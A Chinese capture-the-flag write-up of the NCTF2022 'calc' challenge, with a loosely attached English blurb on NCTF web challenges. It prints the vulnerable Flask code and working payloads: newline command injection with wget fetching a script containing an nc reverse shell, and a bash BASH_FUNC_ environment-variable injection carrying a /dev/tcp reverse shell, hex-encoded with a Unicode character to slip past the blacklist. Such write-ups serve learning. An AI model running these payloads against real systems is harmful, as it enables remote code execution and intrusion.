NCTF2022 calc题目复现

calc(环境变量注入getshell)

经典计算器题目,看着有点眼熟,没错,就是buu三月赛的一道题目。由于那时候web可能都算不上入门,所以也就没有复现。比赛时就网上看了看三月赛的wp,但是没有什么用,因为过滤更加严格了,看题目代码:

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
def waf(s):
    blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
                 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
                 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
                 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag

比赛思路

突破口有两处,eval命令执行以及os.system函数执行代码。网上用的都是利用os.system函数来执行命令的。它执行的是log参数里面的内容,

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)

参数部分可控,接下来我们所要做的就是截断已有命令,让os.system函数去单独执行num中的代码,buu三月赛是用反引号来绕过,因为有反引号会先执行反引号里的代码。但是在这里反引号被过滤掉了,当时测试是可以用换行来绕过的,赛后看师傅们的wp也确实是这样,

当时想着反弹shell,但是没有成功,回头检查一遍发现还需要绕过eval函数,因为我们传入的payload先经过eval函数处理会发生报错,这就导致os.system函数无法执行,buu三月赛是用#把后面代码注释掉,是一个好点子,但是这一题也过滤了。实在想不出还能怎么绕,最后也是放弃了,坐等赛后wp(菜哭)。

非预期解  

网上师傅们的wp全是这一种非预期解法,后来平台好像为了考察预期解又新出一道calc升级版。这个非预期同样也是解决上面那两个问题,num参数单独代码执行,使用换行绕过。满足eval正常执行则是用单引号将我们传入的代码包裹起来,使其成为字符串,这样就不会报错了 ,妙啊。

又因为没有回显,可以wget命令从我们服务器下载恶意sehll脚本,然后在题目中执行。如果题目出网,那么我们可以反弹shell或者将flag文件外带出来,例如我们反弹shell,编写恶意shell脚本:

#!/bin/bash
nc vps port -e /bin/sh

题目中我们传入参数:

num=%0A'wget'%09'http://vps/hack.sh'%0A
num=%0A'bash'%09'hack.sh'%0A

同时vps开启监听,但是赛后测试并没有弹过来,利用curl外带也没有成功,不知道是啥细节上出问题了。最主要的是学习一下这一种思路。

预期解

看了出题人的wp之后,知道他是根据p神的一篇环境变量注入的文章得来的灵感,

我是如何利用环境变量注入执行任意命令 - 跳跳糖

p神的文章对于小白来说还是容易劝退的,C语言基础不是很好的我看底层代码还是有些费劲。下来主要说一下p神这篇文章利用环境变量注入来getshell的思想。

php的system函数在底层调用了popen函数,而最终执行的命令就是sh -c,我们知道sh是一个软连接,它指向bash或者dash,在system函数执行的时候,就会执行sh这个二进制文件,如果我们在sh底层源码中找到可以利用的环境变量,也就可以执行命令。其中能够利用的就是variables.c的initialize_shell_variables函数用于将环境变量注册成SHELL的变量。其中的一段if条件语句判断:

if (privmode == 0 && read_but_dont_execute == 0 && 
        STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
        STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
        STREQN ("() {", string, 4))

p神也给了其中的解释

这段很重要,也是能否看懂这道题payload的关键。也就是满足这些条件,它会注册一个shell变量并执行。

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

也就这样创建类似匿名函数并执行,就会执行id这个命令。针对本题就说这些,了解更多还得细读p神的文章,能够学到很多。

依据上面的思想我们是否能在python中运用。同样python3中system函数底层代码实现中也调用了/bin/sh -c来执行shell命令,附上官方wp:

NCTF2022 Official Writeup | 小绿草信息安全实验室

同理我们也可以注入环境变量来命令执行。那么在这一题我们怎么注入环境变量,没有直观的putenv函数,只能通过eval来覆盖或者赋值,参考这篇文章:

Python黑魔法-[]绕过空格实现变量覆盖 - Twings

利用for循环来变量覆盖:

还可以用中括号来绕过空格,虽然不知道为什么可以这样,好像是python的特性吧。本地测试一下向os.environ注入新的环境变量:

 

完全可以,这样环境变量覆盖的问题也解决了。在此,我们需要设置的环境变量为:

os.environ['BASH_FUNC_echo%%']='() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}'

当然echo只是一个函数名,设置成什么字母无所谓,我们需要for循环对该环境变量进行注入,且绕过空格,所以进一步的payload为:

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}']]]

剩下的就是绕过黑名单了,在python中,用单双引号包裹的字符串是能够识别十六进制的,所以只需要将敏感字符十六进制编码即可绕过。最后就是怎么绕过os了。这里对于我来说又是一个新的点,python在处理utf-8中的非ascii字符的时候,会被转化成统一的标准格式。

就像官方wp上可以用ᵒ来代替o,这下问题都全部解决了,所以最终payload为:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]

 nss上线了这道题,用该payload试一下

最终也是弹成功了。

结语

这都是在基于system函数执行的条件下(无论是php还是python),底层调用sh二进制文件,我们都可以注入环境变量来rce。换句话说,如果底层调用了sh -c命令的函数执行的话,具有环境变量注入条件,使用这个方法来getshell应该是可以的。这个赛题个人感觉质量很高,能够从中学习到很多知识。

### NCTF Web Challenges and Resources NCTF (National Cybersecurity Talent Competition) is a well-known competition that focuses on cybersecurity skills, including web security challenges. These challenges are designed to test participants' abilities in identifying vulnerabilities within web applications and exploiting them ethically. The website mentioned in the reference provides access to various Capture The Flag (CTF) competitions where contestants can engage with different types of challenges, such as web-based ones[^1]. Participants often encounter tasks involving SQL injection, cross-site scripting (XSS), command injection, insecure deserialization, and more advanced techniques like bypassing authentication mechanisms or exploiting server-side request forgery (SSRF). For those interested specifically in NCTF's web-related content, it’s recommended to explore past challenge archives from official sources when available. Additionally, there exist several platforms hosting similar CTF-style exercises which could serve as supplementary material: #### Example Code for Testing XSS Vulnerability Below demonstrates how one might check whether an input field allows reflected Cross-Site Scripting attacks. ```javascript // Simple payload used during testing phase alert('This shows potential vulnerability'); ``` Such scripts should only execute under conditions indicating improper sanitization processes at play—highlighting areas needing remediation efforts before deployment into production environments.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值